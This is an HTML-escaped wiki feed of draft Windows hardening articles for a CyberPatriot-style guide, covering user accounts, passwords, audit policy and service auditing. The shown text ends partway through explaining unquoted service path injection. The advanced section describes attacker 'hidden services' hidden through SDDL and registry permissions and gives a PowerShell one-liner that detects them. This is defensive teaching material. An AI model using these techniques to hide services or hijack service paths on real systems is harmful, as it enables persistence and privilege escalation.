&#039;&#039;&#039;Settings&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Go to &#039;&#039;&#039;Settings&#039;&#039;&#039; &amp;amp;gt; &#039;&#039;&#039;Accounts&#039;&#039;&#039; &amp;amp;gt; &#039;&#039;&#039;Other Users&#039;&#039;&#039; &amp;amp;gt; &#039;&#039;&#039;Add someone else to this PC&#039;&#039;&#039;.&lt;br /&gt;
# When you get prompted for a microsoft account, just click &#039;&#039;&#039;I don&#039;t have this person&#039;s sign-in information&#039;&#039;&#039;, then &#039;&#039;&#039;I don&#039;t have this person&#039;s sign-in information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Don&#039;t use settings to create a group&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Command Prompt / PowerShell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;net user newusername newpassword /add&lt;br /&gt;
net localgroup groupname /add&lt;br /&gt;
net localgroup groupname username /add&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
=== Changing Insecure Passwords ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;lusrmgr.msc&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Right-click on a user &amp;amp;gt; &#039;&#039;&#039;Set Password&#039;&#039;&#039;.&lt;br /&gt;
# Enter a secure new password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Control Panel&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Open &#039;&#039;&#039;User Accounts&#039;&#039;&#039; &amp;amp;gt; &#039;&#039;&#039;User Accounts&#039;&#039;&#039; &amp;amp;gt; &#039;&#039;&#039;Manage Another Account&#039;&#039;&#039;.&lt;br /&gt;
# Click the user&lt;br /&gt;
# Click &amp;amp;quot;Change Password&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Settings&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
&#039;&#039;Not available for local users.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Command Prompt / PowerShell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;net user username newsecurepassword&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
=== Creating Passwords ===&lt;br /&gt;
&lt;br /&gt;
Note: Control Pannel will show you if someone has a password or not. If an account has &amp;amp;quot;Password Protected&amp;amp;quot;, that means that they have a password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;lusrmgr.msc&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Right-click on a user &amp;amp;gt; &#039;&#039;&#039;Set Password&#039;&#039;&#039;.&lt;br /&gt;
# Enter a secure new password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Control Panel&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Open &#039;&#039;&#039;User Accounts&#039;&#039;&#039; &amp;amp;gt; &#039;&#039;&#039;User Accounts&#039;&#039;&#039; &amp;amp;gt; &#039;&#039;&#039;Manage Another Account&#039;&#039;&#039;.&lt;br /&gt;
# Click the user&lt;br /&gt;
# Click &amp;amp;quot;Create a Password&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Settings&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Don&#039;t do it. It will make you create security questions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Command Prompt / PowerShell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;net user username password&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Practice ==&lt;br /&gt;
&lt;br /&gt;
Most basic images contain the content covered in this article. Other images will go beyond this, especially ones with Active Directory:&amp;lt;br /&amp;gt;&lt;br /&gt;
https://images.cypat.guide#gid=0&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
=== References &amp;amp;amp; Further Reading ===&lt;br /&gt;
&lt;br /&gt;
* https://www.lastpass.com/features/password-generator&lt;br /&gt;
* https://support.microsoft.com/en-us/windows/manage-user-accounts-in-windows-104dc19f-6430-4b49-6a2b-e4dbd1dcdf32&lt;br /&gt;
* https://support.microsoft.com/en-us/windows/change-or-reset-your-password-in-windows-8271d17c-9f9e-443f-835a-8318c8f68b9c&lt;br /&gt;
* https://learn.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts&lt;br /&gt;
&lt;br /&gt;
[[Category:Windows User Auditing|002]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Windows_Todo&amp;diff=191</id>
		<title>Draft:Windows Todo</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Windows_Todo&amp;diff=191"/>
		<updated>2026-09-22T05:42:58Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/windows/todo (source: docs/windows/todo.md) --&amp;gt;&lt;br /&gt;
== Article ==&lt;br /&gt;
&lt;br /&gt;
Advanced forensics&amp;lt;br /&amp;gt;&lt;br /&gt;
Advanced user auditing&lt;br /&gt;
&lt;br /&gt;
* user details&lt;br /&gt;
* Active directory stuff&lt;br /&gt;
&lt;br /&gt;
Registry&lt;br /&gt;
&lt;br /&gt;
Windows defender and firewall&lt;br /&gt;
&lt;br /&gt;
File Permissions&lt;br /&gt;
&lt;br /&gt;
Scripting - Powershell + batch (potentially)&lt;br /&gt;
&lt;br /&gt;
Windows Server&lt;br /&gt;
&lt;br /&gt;
* Active directory&lt;br /&gt;
* Server Manager&lt;br /&gt;
&lt;br /&gt;
App sec&lt;br /&gt;
&lt;br /&gt;
* DNS&lt;br /&gt;
* IIS&lt;br /&gt;
* Apache&lt;br /&gt;
* WinRM&lt;br /&gt;
* SQL&lt;br /&gt;
* PHP&lt;br /&gt;
* SMTP&lt;br /&gt;
* SSH&lt;br /&gt;
* AD CS&lt;br /&gt;
&lt;br /&gt;
== Other items ==&lt;br /&gt;
&lt;br /&gt;
* Video?&lt;br /&gt;
* Over arching practice image?&lt;br /&gt;
* Quizes?&lt;br /&gt;
&lt;br /&gt;
[[Category:Windows|999 Windows Todo]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:System_Auditing_-_Beginner&amp;diff=190</id>
		<title>Draft:System Auditing - Beginner</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:System_Auditing_-_Beginner&amp;diff=190"/>
		<updated>2026-09-22T05:42:58Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/windows/system_auditing/system_auditing_beginner (source: docs/windows/system_auditing/system_auditing_beginner.md) --&amp;gt;&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Author(s): LOWERCASEinuppercase&lt;br /&gt;
&lt;br /&gt;
Last Updated: 06-10-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
* None&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== What Is Auditing? ==&lt;br /&gt;
&lt;br /&gt;
System auditing is the process of tracking and logging certain events on a system. This can include things like login and logoff, attempting to access a certain file or folder, or modifying system settings. These logs can help system administrators identify suspicious activity or system issues. In Windows, system auditing is configured through the &#039;&#039;&#039;Audit Policy&#039;&#039;&#039; settings, which logs selected events to the &#039;&#039;&#039;Event Log&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
When deciding audit policies, it&#039;s important to consider what might be beneficial to record, and adjust settings accordingly. For example, one use-case for auditing would be monitoring to see if anyone is attempting to access a user&#039;s account or brute-force their password. In that case, it may be useful to audit something like logon failures. In general it is considered best practice to audit as much as possible, though it&#039;s important to note that some policies will generate a lot of unnecessary diagnostic events that will quickly clog up the event log.&lt;br /&gt;
&lt;br /&gt;
== Configuring Audit Policy ==&lt;br /&gt;
&lt;br /&gt;
Audit policy on a system is typically configured through either basic audit policy or advanced audit policy. Both of these can be configured through the &#039;&#039;&#039;Local Security Policy&#039;&#039;&#039;, also known as secpol.msc. To open Local Security Policy, go to the Windows search bar and type in either &amp;amp;quot;local security policy&amp;amp;quot; or &amp;amp;quot;secpol.msc&amp;amp;quot; and press enter. Let&#039;s take a look at how to configure audit policy in both ways.&lt;br /&gt;
&lt;br /&gt;
=== Basic Audit Policy ===&lt;br /&gt;
&lt;br /&gt;
Basic audit policy can be configured by navigating to &amp;lt;code&amp;gt;Local Policies &amp;amp;gt; Audit Policy&amp;lt;/code&amp;gt;. Listed here are 9 broad categories of events that the system can audit. By double-clicking any one of them, you can configure whether the system will audit success and/or failure events in each category.&lt;br /&gt;
&lt;br /&gt;
=== Advanced Audit Policy ===&lt;br /&gt;
&lt;br /&gt;
Advanced audit policy can be configured by navigating to the subcategories under &amp;lt;code&amp;gt;Advanced Audit Policy Configuration &amp;amp;gt; System Audit Policies - Local Group Policy Object&amp;lt;/code&amp;gt;. These subcategories are similar to the ones available with a basic audit policy, but they allow for more granularity with the available settings.&lt;br /&gt;
&lt;br /&gt;
For example, under the &amp;lt;code&amp;gt;Logon/Logoff&amp;lt;/code&amp;gt; category, there are multiple specific settings which can be individually configured. Setting &amp;lt;code&amp;gt;Audit account logon events&amp;lt;/code&amp;gt; to a given option in the basic audit policy would be equivalent to applying that option to every subcategory under the &amp;lt;code&amp;gt;Logon/Logoff category&amp;lt;/code&amp;gt; in the advanced audit policy. Using an advanced audit policy gives you the choice to have different settings between those subcategories.&lt;br /&gt;
&lt;br /&gt;
=== Command Prompt ===&lt;br /&gt;
&lt;br /&gt;
The audit policy can also be configured through the command prompt using the &amp;lt;code&amp;gt;auditpol.exe&amp;lt;/code&amp;gt; command line utility (also just referred to as &amp;lt;code&amp;gt;auditpol&amp;lt;/code&amp;gt;). First, open the command prompt by typing &amp;amp;quot;cmd&amp;amp;quot; into the Windows search bar. Now, in order to get all of the current system audit policies, enter &amp;lt;code&amp;gt;auditpol /get /category:*&amp;lt;/code&amp;gt; at the prompt. This should display a list of auditing categories and subcategories (which should mirror those in the advanced audit policy) and their current settings. To enable auditing for one of these subcategories, you can run &amp;lt;code&amp;gt;auditpol /set /subcategory:&amp;amp;quot;Subcategory Name Here&amp;amp;quot; /success:enable /failure:enable&amp;lt;/code&amp;gt;. To disable auditing for a subcategory, you can run the same command but replacing the &amp;lt;code&amp;gt;enable&amp;lt;/code&amp;gt; with &amp;lt;code&amp;gt;disable&amp;lt;/code&amp;gt; for the &amp;lt;code&amp;gt;/success&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/failure&amp;lt;/code&amp;gt; options.&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
=== References &amp;amp;amp; Further Reading ===&lt;br /&gt;
&lt;br /&gt;
* https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/advanced-security-auditing-faq&lt;br /&gt;
* https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol&lt;br /&gt;
&lt;br /&gt;
[[Category:Windows System Auditing|007]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Service_Auditing_-_Beginner&amp;diff=189</id>
		<title>Draft:Service Auditing - Beginner</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Service_Auditing_-_Beginner&amp;diff=189"/>
		<updated>2026-09-22T05:42:58Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/windows/service_auditing/service_auditing_beginner (source: docs/windows/service_auditing/service_auditing_beginner.md) --&amp;gt;&lt;br /&gt;
Author(s): Anywheres&lt;br /&gt;
&lt;br /&gt;
Last Updated: 08-05-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
* (None)&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== What is a Service? ==&lt;br /&gt;
&lt;br /&gt;
A Windows service is a long-running program that runs in the background. If you have experience with Linux, you can think of services as the Windows equivalent of daemons. Services typically run without a GUI or any user interaction. As such, services are used primarily for tasks like handling system operations, providing network services, monitoring resources, or running server applications.&lt;br /&gt;
&lt;br /&gt;
== Why Do We Need To Audit Services? ==&lt;br /&gt;
&lt;br /&gt;
Although services are required for a system to run correctly and effectively, they can also be misconfigured, making a system vulnerable. In addition, there are services which may not necessarily be malicious, yet are also not required and should therefore be disabled in order to reduce the attack surface (the potentially attackable components) of a system. Other services, such as Windows Update or Event Log need to be enabled at all times to maintain system security and records. By making sure that only necessary services are running and that those services are properly configured, we shut down possible attack paths for people attempting to breach the system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;blockquote&amp;gt;To get a sense of what services should be disabled if not explicitly required, it is a good idea to check out sections of STIGs or benchmarks which focus on services. One such benchmark is located in the References &amp;amp;amp; Further Reading section of this article&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
== How Do Services Work? ==&lt;br /&gt;
&lt;br /&gt;
Since the point of services is to run without user interaction, they have to be started and maintained by the system without user interaction as well. In Windows, that responsibility falls on the &#039;&#039;&#039;Service Control Manager (SCM)&#039;&#039;&#039;. The SCM&#039;s job is to:&lt;br /&gt;
&lt;br /&gt;
* Start and stop services at the appropriate time&lt;br /&gt;
* Manage service dependencies&lt;br /&gt;
* Maintain service configurations&lt;br /&gt;
* Handle and respond to service control requests&lt;br /&gt;
* Restart services in case of failure/error&lt;br /&gt;
&lt;br /&gt;
The manner in which a service starts can be configured by the user. Services have four main startup types in Windows:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Automatic&amp;lt;/code&amp;gt; - The service starts automatically and is run as soon as possible when the system starts up.&lt;br /&gt;
* &amp;lt;code&amp;gt;Automatic (Delayed Start)&amp;lt;/code&amp;gt; - The service starts automatically but starts a couple minutes after the initial system startup, in a sort of &#039;second round&#039;. The purpose of this is to reduce the competition for system resources when the system is starting up initially&lt;br /&gt;
* &amp;lt;code&amp;gt;Manual&amp;lt;/code&amp;gt; - The service doesn&#039;t start automatically, but can be started up if/when it is needed&lt;br /&gt;
* &amp;lt;code&amp;gt;Disabled&amp;lt;/code&amp;gt; - The service is not allowed to start&lt;br /&gt;
&lt;br /&gt;
In addition, for any of these states other than &amp;lt;code&amp;gt;Disabled&amp;lt;/code&amp;gt; it is also possible to see &amp;lt;code&amp;gt;(Trigger Start)&amp;lt;/code&amp;gt; by the name. In this case, the service will function identically to the above descriptions, except that it can also be started by an event known as a service trigger. The specifics of how this works are not important for now, but it&#039;s good to know that this exists and is normal behavior.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;blockquote&amp;gt;If you would like to learn the specifics of service triggers, check out the MS Docs: https://learn.microsoft.com/en-us/windows/win32/services/service-trigger-events&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
When a service runs, it also &amp;amp;quot;logs on as&amp;amp;quot; a certain user-- it runs with the same privileges as that user, as though that user had started the program themself. For example, if a service was running as the user &amp;lt;code&amp;gt;testuser&amp;lt;/code&amp;gt;, then the service would be able to access any resources that &amp;lt;code&amp;gt;testuser&amp;lt;/code&amp;gt; could access. Typically, services log on as one of three users: &amp;lt;code&amp;gt;LocalService&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;NetworkService&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;LocalSystem&amp;lt;/code&amp;gt;. Of these three, the &amp;lt;code&amp;gt;LocalSystem&amp;lt;/code&amp;gt; account is by far the most dangerous as it has near-complete control of the system. If an attacker managed to control a service running as &amp;lt;code&amp;gt;LocalSystem&amp;lt;/code&amp;gt; or register their own unauthorized service with &amp;lt;code&amp;gt;LocalSystem&amp;lt;/code&amp;gt;, they too would have this near-complete control of the system. As such, the configuration of which account services run with must be carefully monitored and audited to ensure no unauthorized or insecurely configured services have access to more privileges than they need, especially for services running as &amp;lt;code&amp;gt;LocalSystem&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Configuring Services ==&lt;br /&gt;
&lt;br /&gt;
Now that you have learned the basics of how services work, you need to learn how to actually configure them. As is the case with most things in Windows, there are a few ways to configure services. The main ones are as follows. Choose one of services listed in the benchmarkFor each method, a practice image or testing VM to get hands-on experience using it.&lt;br /&gt;
&lt;br /&gt;
=== services.msc ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;services.msc&amp;lt;/code&amp;gt; is an application which allows you to configure services using a GUI. To open it, search for &amp;amp;quot;Services&amp;amp;quot; or &amp;amp;quot;services.msc&amp;amp;quot; in the Windows search bar. Once the application opens, you will be able to see a list of all of the services registered on the system, as well as information regarding their current state, their startup type, and the account the service runs as. These services can be sorted by clicking on the column names at the top of the list. To get more information about a specific service, locate it in the list and either double-click on it or right click it and select &amp;amp;quot;Properties&amp;amp;quot;. From this menu you can see more specific information such as the path to the service executable, dependencies of the service, or dependents of the service. You can also configure startup type, manually start or stop the service, and choose actions to be taken if the service fails.&lt;br /&gt;
&lt;br /&gt;
=== sc.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sc.exe&amp;lt;/code&amp;gt; is a command line tool for service configuration and querying. &amp;lt;code&amp;gt;sc.exe&amp;lt;/code&amp;gt; can be invoked from the command prompt (&amp;lt;code&amp;gt;cmd.exe&amp;lt;/code&amp;gt;) as either &amp;lt;code&amp;gt;sc.exe&amp;lt;/code&amp;gt; or simply &amp;lt;code&amp;gt;sc&amp;lt;/code&amp;gt;. &amp;lt;code&amp;gt;sc.exe&amp;lt;/code&amp;gt; can be used from PowerShell as well, but it should be noted that you must use the full name &amp;lt;code&amp;gt;sc.exe&amp;lt;/code&amp;gt; since just &amp;lt;code&amp;gt;sc&amp;lt;/code&amp;gt; serves as an alias for the cmdlet &amp;lt;code&amp;gt;Set-Content&amp;lt;/code&amp;gt; in PowerShell. &amp;lt;code&amp;gt;sc&amp;lt;/code&amp;gt; has options for every capability mentioned above in the &amp;lt;code&amp;gt;services.msc&amp;lt;/code&amp;gt; section, plus additional features such as displaying the security descriptor of the service object. A full explanation of the features of &amp;lt;code&amp;gt;sc&amp;lt;/code&amp;gt; is beyond the scope of this article; however, a link to the documentation for the command will be in the References &amp;amp;amp; Further Reading section. A shortened guide to the command&#039;s usage can be seen in the terminal by entering just &amp;lt;code&amp;gt;sc&amp;lt;/code&amp;gt; with no additional arguments.&lt;br /&gt;
&lt;br /&gt;
=== Powershell Cmdlets ===&lt;br /&gt;
&lt;br /&gt;
Powershell has cmdlets which are used to configure services. These cmdlets follow the text pattern &amp;lt;code&amp;gt;*-Service&amp;lt;/code&amp;gt;. To get a list of all of these configuration commands from within PowerShell, you can run the command &amp;lt;code&amp;gt;Get-Command *-Service&amp;lt;/code&amp;gt;. As with &amp;lt;code&amp;gt;sc&amp;lt;/code&amp;gt;, a full explanation of these cmdlets is out of the scope of this article, but the documentation for these cmdlets will once again be located in References &amp;amp;amp; Further Reading. As is the case with any other PowerShell cmdlet, usage information can be obtained from the terminal by entering &amp;lt;code&amp;gt;Get-Help [command]&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
=== References &amp;amp;amp; Further Reading ===&lt;br /&gt;
&lt;br /&gt;
* https://sematext.com/glossary/windows-services/&lt;br /&gt;
* https://learn.microsoft.com/en-us/windows/win32/services/about-services&lt;br /&gt;
* https://www.coretechnologies.com/blog/windows-services/startup-types-explained/&lt;br /&gt;
* https://downloads.cisecurity.org/ - Benchmarks, choose the most relevant windows version from the list. Look for a section in the benchmark pdf titled &amp;amp;quot;System Services&amp;amp;quot; or similar&lt;br /&gt;
* https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754599(v=ws.11) - sc.exe documentation&lt;br /&gt;
* https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/ - PowerShell cmdlets documentation&lt;br /&gt;
* https://stackoverflow.com/a/510225 - service account distinctions&lt;br /&gt;
&lt;br /&gt;
[[Category:Windows Service Auditing|004]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Service_Auditing_-_Advanced&amp;diff=188</id>
		<title>Draft:Service Auditing - Advanced</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Service_Auditing_-_Advanced&amp;diff=188"/>
		<updated>2026-09-22T05:42:57Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/windows/service_auditing/service_auditing_advanced (source: docs/windows/service_auditing/service_auditing_advanced.md) --&amp;gt;&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Author(s): Donkey (d0nkeyman), sv_du (sv-du), Anywheres&lt;br /&gt;
&lt;br /&gt;
Last Updated: 08-06-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
* Service Auditing - Beginner&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== What To Expect ==&lt;br /&gt;
&lt;br /&gt;
At this level, service auditing becomes about understanding the Windows service permission system at a low level and exploring the security consequences and nuances of this system.&lt;br /&gt;
&lt;br /&gt;
We recommend having a strong understanding of file permissions and having completed the previous service auditing guides.&lt;br /&gt;
&lt;br /&gt;
== Permissions ==&lt;br /&gt;
&lt;br /&gt;
Just like with files, the permissions of a service can be represented and set through an SDDL string (covered in advanced file permissions). You have probably noticed this when trying to start or stop Windows Defender Firewall (mpssvc) or any other protected service.&lt;br /&gt;
&lt;br /&gt;
So what would happen if mpssvc gave everyone permission to turn it on and off? What if a malicious service made it so only &amp;lt;code&amp;gt;SYSTEM&amp;lt;/code&amp;gt; could change its status? We encourage you to experiment with SDDLs and come up with ways they could potentially be used to compromise the security of a system or make certain tasks much harder.&lt;br /&gt;
&lt;br /&gt;
One interesting use case of SDDL strings for services is creating &amp;amp;quot;hidden services&amp;amp;quot; that evade standard tools. You can read about them at https://www.sans.org/blog/red-team-tactics-hiding-windows-services/. In a nutshell, these services do not appear in the &amp;lt;code&amp;gt;services.msc&amp;lt;/code&amp;gt; applet nor the &amp;lt;code&amp;gt;Get-Service&amp;lt;/code&amp;gt; cmdlet, yet behave like normal. There are limits to this hiding, however, and these are limits that we can exploit!&lt;br /&gt;
&lt;br /&gt;
All services, &amp;amp;quot;hidden&amp;amp;quot; or not, need to be registered in the registry to work properly. Windows has to be able to access this registration to allow the service to run. Registering a service causes an entry to be added in &amp;lt;code&amp;gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services&amp;lt;/code&amp;gt;, each folder named with the service name, and each folder containing information about the service.&lt;br /&gt;
&lt;br /&gt;
These folders also have SDDLs, which &#039;&#039;&#039;are different&#039;&#039;&#039; from the service SDDL, stored in &amp;lt;code&amp;gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\&amp;amp;lt;service name&amp;amp;gt;\Security&amp;lt;/code&amp;gt;. To do further hiding, an attacker can modify the permissions of these keys to the bare minimum that Windows needs to let the service function. One of the necessary accounts that needs permissions is &amp;lt;code&amp;gt;SYSTEM&amp;lt;/code&amp;gt;, which is good because we can log in as &amp;lt;code&amp;gt;SYSTEM&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
In essence, to find &amp;amp;quot;hidden&amp;amp;quot; services, one must simply find the keys in &amp;lt;code&amp;gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services&amp;lt;/code&amp;gt; not outputted in &amp;lt;code&amp;gt;Get-Service&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following Powershell command does just this. To minimize permission errors with &#039;&#039;&#039;registry SDDLs&#039;&#039;&#039;, run this command as &amp;lt;code&amp;gt;SYSTEM&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;Compare-Object -ReferenceObject (Get-Service | Select-Object -ExpandProperty Name | % { $_ -replace &amp;quot;_[0-9a-f]{2,8}$&amp;quot; } ) -DifferenceObject (Get-ChildItem -path hklm:\system\currentcontrolset\services | % { $_.Name -Replace &amp;quot;HKEY_LOCAL_MACHINE\\&amp;quot;,&amp;quot;HKLM:\&amp;quot; } | Where-Object { Get-ItemProperty -Path &amp;quot;$_&amp;quot; -name objectname -erroraction &#039;ignore&#039; } | % { $_.substring(40) }) -PassThru | Where-Object {$_.sideIndicator -eq &amp;quot;=&amp;gt;&amp;quot;}&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Protected Process Light (PPL) ==&lt;br /&gt;
&lt;br /&gt;
Windows has some protections on important services to prevent malicious tampering. The most common one is LSASS, which you should be familiar with at this point. You can read about PPL at https://itm4n.github.io/lsass-runasppl. The only thing I would like to emphasize is that LSASS is &#039;&#039;&#039;not&#039;&#039;&#039; the only service you should pay attention to. Experiment with PPL services in a VM and figure out what they prevent (Can you modify their registry? Can you delete their files?).&lt;br /&gt;
&lt;br /&gt;
LSASS in particular has two registry keys that you can set using the &amp;lt;code&amp;gt;reg&amp;lt;/code&amp;gt; utility to ensure it runs as PPL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa&amp;quot; /v RunAsPPL /t REG_DWORD /d 1 /f&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe&amp;quot; /v AuditLevel /t REG_DWORD /d 8 /f&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Unquoted Service Path Injection ==&lt;br /&gt;
&lt;br /&gt;
When a service is started by the Service Control Manager, the service is run using the &amp;lt;code&amp;gt;ImagePath&amp;lt;/code&amp;gt; value of the service&#039;s entry in the SCM database (located at &amp;lt;code&amp;gt;HKLM\SYSTEM\CurrentControlSet\Services&amp;lt;/code&amp;gt;). This value is just a normal file system path pointing to the executable which should be used to run the service. Due to the way Windows handles paths with the &amp;lt;code&amp;gt;CreateProcess&amp;lt;/code&amp;gt; Win32 api call, a service path containing spaces which isn&#039;t enclosed in quotes is vulnerable to attack. The reason for this can be seen in the [https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa documentation for &amp;lt;code&amp;gt;CreateProcess&amp;lt;/code&amp;gt;]:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;blockquote&amp;gt;If you are using a long file name that contains a space, use quoted strings to indicate where the file name ends and the arguments begin; otherwise, the file name is ambiguous. For example, consider the string &amp;amp;quot;c:\program files\sub dir\program name&amp;amp;quot;. This string can be interpreted in a number of ways. The system tries to interpret the possibilities in the following order:&lt;br /&gt;
&lt;br /&gt;
c:\program.exe&lt;br /&gt;
&lt;br /&gt;
c:\program files\sub.exe&lt;br /&gt;
&lt;br /&gt;
c:\program files\sub dir\program.exe&lt;br /&gt;
&lt;br /&gt;
c:\program files\sub dir\program name.exe&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
